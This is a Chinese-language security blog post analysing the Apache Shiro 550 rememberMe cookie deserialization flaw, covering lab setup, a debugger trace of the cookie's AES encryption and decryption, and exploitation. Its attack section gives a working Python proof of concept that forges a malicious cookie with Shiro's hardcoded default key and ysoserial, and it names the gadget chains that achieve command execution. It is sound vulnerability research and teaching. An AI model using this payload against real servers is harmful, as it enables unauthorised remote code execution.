Java安全之Shiro 550反序列化漏洞分析

Java安全之Shiro 550反序列化漏洞分析

首发自安全客:Java安全之Shiro 550反序列化漏洞分析

0x00 前言

在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是Shiro的该漏洞也是用的比较频繁的漏洞。本文对该Shiro550 反序列化漏洞进行一个分析,了解漏洞产生过程以及利用方式。

0x01 漏洞原理

Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,产生原因是因为shiro接受了Cookie里面rememberMe的值,然后去进行Base64解密后,再使用aes密钥解密后的数据,进行反序列化。

反过来思考一下,如果我们构造该值为一个cc链序列化后的值进行该密钥aes加密后进行base64加密,那么这时候就会去进行反序列化我们的payload内容,这时候就可以达到一个命令执行的效果。

获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作

0x02 漏洞环境搭建

漏洞环境:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

打开shiro/web目录,对pom.xml进行配置依赖配置一个cc4和jstl组件进来,后面再去说为什么shiro自带了commons-collections:3.2.1还要去手工配置一个commons-collections:4.0

    

    1.6

    1.6

    

...

            javax.servlet
            jstl
            
            1.2
            runtime
        
        
            org.apache.commons
            commons-collections4
            4.0
        

坑点

Shiro的编译太痛苦了,各种坑,下面来排一下坑。

配置maven\conf\toolchains.xml,这里需要指定JDK1.6的路径和版本,编译必须要1.6版本,但不影响在其他版本下运行。



  
    jdk
    
      1.6
      sun
    
    
      D:\JAVA_JDK\jdk1.6
    
  

这些都完成后进行编译。

Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.0.2:testCompile (default-testCompile) on project samples-web: Compilation failure

这里还是报错了。

后面编译的时候,切换成了maven3.1.1的版本。然后就可以编译成功了。

Java安全之Shiro 550反序列化漏洞分析_第1张图片

但是后面又发现部署的时候访问不到,编译肯定又出了问题。

后面把这两个里面的标签给注释掉,然后就可以了。

Java安全之Shiro 550反序列化漏洞分析_第2张图片

把pom.xml配置贴一下。





    

        1.6

        1.6

    
    
        org.apache.shiro.samples
        shiro-samples
        1.2.4
        ../pom.xml
    

    4.0.0
    samples-web
    Apache Shiro :: Samples :: Web
    war

    
        
            
                maven-surefire-plugin
                
                    never
                
            
            
                org.mortbay.jetty
                maven-jetty-plugin
                ${jetty.version}
                
                    /
                    
                        
                            9080
                            60000
                        
                    
                    
                        ./target/yyyy_mm_dd.request.log
                        90
                        true
                        false
                        GMT
                    
                
            
        
    

    
        
            javax.servlet
            jstl
            runtime
        
        
            javax.servlet
            servlet-api

        
        
            org.slf4j
            slf4j-log4j12
            runtime
        
        
            log4j
            log4j
            runtime
        
        
            net.sourceforge.htmlunit
            htmlunit
            2.6

        
        
            org.apache.shiro
            shiro-core
        
        
            org.apache.shiro
            shiro-web
        
        
            org.mortbay.jetty
            jetty
            ${jetty.version}
            test
        
        
            org.mortbay.jetty
            jsp-2.1-jetty
            ${jetty.version}
            test
        
        
            org.slf4j
            jcl-over-slf4j
            runtime
        
        
            javax.servlet
            jstl
            
            1.2
            runtime
        
        
            org.apache.commons
            commons-collections4
            4.0
        
    



经过2天的排坑,终于把这个坑给解决掉,这里必须贴几张照片庆祝庆祝。

Java安全之Shiro 550反序列化漏洞分析_第3张图片

Java安全之Shiro 550反序列化漏洞分析_第4张图片

输入账号密码,勾选Remerber me选项。进行抓包

Java安全之Shiro 550反序列化漏洞分析_第5张图片

下面就可以来分析该漏洞了。

0x03 漏洞分析

加密

漏洞产生点在CookieRememberMeManager该位置,来看到rememberSerializedIdentity方法。

该方法的作用为使用Base64对指定的序列化字节数组进行编码,并将Base64编码的字符串设置为cookie值。

那么我们就去查看一下该方法在什么地方被调用。

Java安全之Shiro 550反序列化漏洞分析_第6张图片

在这可以看到该类继承的AbstractRememberMeManager类调用了该方法。跟进进去查看

Java安全之Shiro 550反序列化漏洞分析_第7张图片

发现这个方法被rememberIdentity方法给调用了,同样方式继续跟进。

Java安全之Shiro 550反序列化漏洞分析_第8张图片

在这里会发现rememberIdentity方法会被onSuccessfulLogin方法给调用,跟踪到这一步,就看到了onSuccessfulLogin登录成功的方法。

当登录成功后会调用AbstractRememberMeManager.onSuccessfulLogin方法,该方法主要实现了生成加密的RememberMe Cookie,然后将RememberMe Cookie设置为用户的Cookie值。在前面我们分析的rememberSerializedIdentity方法里面去实现了。可以来看一下这段代码。

Java安全之Shiro 550反序列化漏洞分析_第9张图片

回到onSuccessfulLogin这个地方,打个断点,然后web登录页面输入root/secret 口令进行提交,再回到IDEA中查看。找到登录成功方法后,我们可以来正向去做个分析,不然刚刚的方式比较麻烦。

Java安全之Shiro 550反序列化漏洞分析_第10张图片

这里看到调用了isRememberMe很显而易见得发现这个就是一个判断用户是否选择了Remember Me选项。

Java安全之Shiro 550反序列化漏洞分析_第11张图片

如果选择Remember Me功能的话返回true,如果不选择该选项则是调用log.debug方法在控制台输出一段字符。

这里如果为true的话就会调用rememberIdentity方法并且传入三个参数。F7跟进该方法。

Java安全之Shiro 550反序列化漏洞分析_第12张图片

前面说过该方法会去生成一个PrincipalCollection对象,里面包含登录信息。F7进行跟进rememberIdentity方法。

Java安全之Shiro 550反序列化漏洞分析_第13张图片

查看convertPrincipalsToBytes具体的实现与作用。

Java安全之Shiro 550反序列化漏洞分析_第14张图片

Java安全之Shiro 550反序列化漏洞分析_第15张图片

跟进该方法查看具体实现。

Java安全之Shiro 550反序列化漏洞分析_第16张图片

看到这里其实已经很清晰了,进行了一个序列化,然后返回序列化后的Byte数组。

再来看到下一段代码,这里如果getCipherService方法不为空的话,就会去执行下一段代码。getCipherService方法是获取加密模式。

Java安全之Shiro 550反序列化漏洞分析_第17张图片

Java安全之Shiro 550反序列化漏洞分析_第18张图片

还是继续跟进查看。

Java安全之Shiro 550反序列化漏洞分析_第19张图片

Java安全之Shiro 550反序列化漏洞分析_第20张图片

查看调用,会发现在构造方法里面对该值进行定义。

Java安全之Shiro 550反序列化漏洞分析_第21张图片

完成这一步后,就来到了这里。

Java安全之Shiro 550反序列化漏洞分析_第22张图片

调用encrypt方法,对序列化后的数据进行处理。继续跟进。

Java安全之Shiro 550反序列化漏洞分析_第23张图片

这里调用cipherService.encrypt方法并且传入序列化数据,和getEncryptionCipherKey方法。

Java安全之Shiro 550反序列化漏洞分析_第24张图片

getEncryptionCipherKey从名字上来看是获取密钥的方法,查看一下,是怎么获取密钥的。

Java安全之Shiro 550反序列化漏洞分析_第25张图片

查看调用的时候,发现setCipherKey方法在构造方法里面被调用了。

Java安全之Shiro 550反序列化漏洞分析_第26张图片

查看DEFAULT_CIPHER_KEY_BYTES值会发现里面定义了一串密钥

Java安全之Shiro 550反序列化漏洞分析_第27张图片

而这个密钥是定义死的。

返回刚刚的加密的地方。

Java安全之Shiro 550反序列化漏洞分析_第28张图片

这个地方选择跟进,查看具体实现。

Java安全之Shiro 550反序列化漏洞分析_第29张图片

查看到这里发现会传入前面序列化的数组和key值,最后再去调用他的重载方法并且传入序列化数组、key、ivBytes值、generate。

iv的值由generateInitializationVector方法生成,进行跟进。

Java安全之Shiro 550反序列化漏洞分析_第30张图片

Java安全之Shiro 550反序列化漏洞分析_第31张图片

查看getDefaultSecureRandom方法实现。

Java安全之Shiro 550反序列化漏洞分析_第32张图片

Java安全之Shiro 550反序列化漏洞分析_第33张图片

返回generateInitializationVector方法继续查看。这个new了一个byte数组长度为16

Java安全之Shiro 550反序列化漏洞分析_第34张图片

最后得到这个ivBytes值进行返回。

这里执行完成后就拿到了ivBytes的值了,这里再回到加密方法的地方查看具体加密的实现。

Java安全之Shiro 550反序列化漏洞分析_第35张图片

这里调用crypt方法进行获取到加密后的数据,而这个output是一个byte数组,大小是加密后数据的长度加上iv这个值的长度。

iv 的小tips

  • 某些加密算法要求明文需要按一定长度对齐,叫做块大小(BlockSize),我们这次就是16字节,那么对于一段任意的数据,加密前需要对最后一个块填充到16 字节,解密后需要删除掉填充的数据。
  • AES中有三种填充模式(PKCS7Padding/PKCS5Padding/ZeroPadding)
  • PKCS7Padding跟PKCS5Padding的区别就在于数据填充方式,PKCS7Padding是缺几个字节就补几个字节的0,而PKCS5Padding是缺几个字节就补充几个字节的几,好比缺6个字节,就补充6个字节

不了解加密算法的可以看Java安全之安全加密算法

在执行完成后序列化的数据已经被进行了AES加密,返回一个byte数组。

Java安全之Shiro 550反序列化漏洞分析_第36张图片

执行完成后,来到这一步,然后进行跟进。

Java安全之Shiro 550反序列化漏洞分析_第37张图片

到了这里其实就没啥好说的了。后面的步骤就是进行base64加密后设置为用户的Cookie的rememberMe字段中。

解密

由于我们并不知道哪个方法里面去实现这么一个功能。但是我们前面分析加密的时候,调用了AbstractRememberMeManager.encrypt进行加密,该类中也有对应的解密操作。那么在这里就可以来查看该方法具体会在哪里被调用到,就可以追溯到上层去,然后进行下断点。

Java安全之Shiro 550反序列化漏洞分析_第38张图片

Java安全之Shiro 550反序列化漏洞分析_第39张图片

查看 getRememberedPrincipals方法在此处下断点

Java安全之Shiro 550反序列化漏洞分析_第40张图片

跟踪

Java安全之Shiro 550反序列化漏洞分析_第41张图片

返回getRememberedPrincipals方法。

Java安全之Shiro 550反序列化漏洞分析_第42张图片

在下面调用了convertBytesToPrincipals方法,进行跟踪。

Java安全之Shiro 550反序列化漏洞分析_第43张图片

查看decrypt方法具体实现。

Java安全之Shiro 550反序列化漏洞分析_第44张图片

和前面的加密步骤类似,这里不做详细讲解。

Java安全之Shiro 550反序列化漏洞分析_第45张图片

生成iv值,然后传入到他的重载方法里面。

Java安全之Shiro 550反序列化漏洞分析_第46张图片

到了这里执行完后,就进行了AES的解密完成。

还是回到这一步。

Java安全之Shiro 550反序列化漏洞分析_第47张图片

这里返回了deserialize方法的返回值,并且传入AES加密后的数据。

进行跟踪该方法。

Java安全之Shiro 550反序列化漏洞分析_第48张图片

继续跟踪。

Java安全之Shiro 550反序列化漏洞分析_第49张图片

到了这步,就会对我们传入进来的AES解密后的数据进行调用readObject方法进行反序列化操作。

0x04 漏洞攻击

漏洞探测

现在已经知道了是因为获取rememberMe值,然后进行解密后再进行反序列化操作。

那么在这里如果拿到了密钥就可以伪造加密流程。

网上找的一个加密的脚本

# -*-* coding:utf-8
# @Time    :  2020/10/16 17:36
# @Author  : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog    :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES


def rememberme(command):
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
                             stdout=subprocess.PIPE)
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    # payload = encode_rememberme('127.0.0.1:12345')
    # payload = rememberme('calc.exe')
    payload = rememberme('http://u89cy6.dnslog.cn')
    with open("./payload.cookie", "w") as fpw:

        print("rememberMe={}".format(payload.decode()))
        res = "rememberMe={}".format(payload.decode())
        fpw.write(res)

获取到值后加密后的payload后可以在burp上面进行手工发送测试一下。

Java安全之Shiro 550反序列化漏洞分析_第50张图片

发送完成后,就可以看到DNSLOG平台上面回显了。

Java安全之Shiro 550反序列化漏洞分析_第51张图片

当使用URLDNS链的打过去,在DNSLOG平台有回显的时候,就说明这个地方存在反序列化漏洞。

但是要利用的话还得是使用CC链等利用链去进行命令的执行。

漏洞利用

前面我们手动给shio配上cc4的组件,而shiro中自带的是cc3.2.1版本的组件,为什么要手工去配置呢?

其实shiro中重写了ObjectInputStream类的resolveClass函数,ObjectInputStreamresolveClass方法用的是Class.forName类获取当前描述器所指代的类的Class对象。而重写后的resolveClass方法,采用的是ClassUtils.forName。查看该方法

public static Class forName(String fqcn) throws UnknownClassException {
    Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
    if (clazz == null) {
        if (log.isTraceEnabled()) {
            log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader.  Trying the current ClassLoader...");
        }

        clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
    }

    if (clazz == null) {
        if (log.isTraceEnabled()) {
            log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader.  " + "Trying the system/application ClassLoader...");
        }

        clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
    }

    if (clazz == null) {
        String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.";
        throw new UnknownClassException(msg);
    } else {
        return clazz;
    }
}

在传参的地方如果传入一个Transform数组的参数,会报错。

后者并不支持传入数组类型。

resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class

那么在这里可以使用cc2和cc4的利用链去进行命令执行,因为这两个都是基于javassist去实现的,而不是基于Transform数组。具体的可以看前面我的分析利用链文章。

除了这两个其实在部署的时候,可以发现组件当中自带了一个CommonsBeanutils的组件,这个组件也是有利用链的。可以使用CommonsBeanutils这条利用链进行命令执行。

那么除了这些方式就没有了嘛?假设没有cc4的组件,就一定执行不了命令了嘛?其实方式还是有的。wh1t3p1g师傅在文章中已经给出了解决方案。需要重新去特殊构造一下利用链。

参考文章

https://www.anquanke.com/post/id/192619#h2-4

https://payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#Commons-beanutils

https://zeo.cool/2020/09/03/Shiro%20550%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90+poc%E7%BC%96%E5%86%99/#%E5%9D%91%E7%82%B9%EF%BC%9A

0x05 结尾

在该漏洞中我觉得主要的难点在于环境搭建上费了不少时间,还有的就是关于shiro中大部分利用链没法使用的解决。

你可能感兴趣的:(Java安全之Shiro 550反序列化漏洞分析)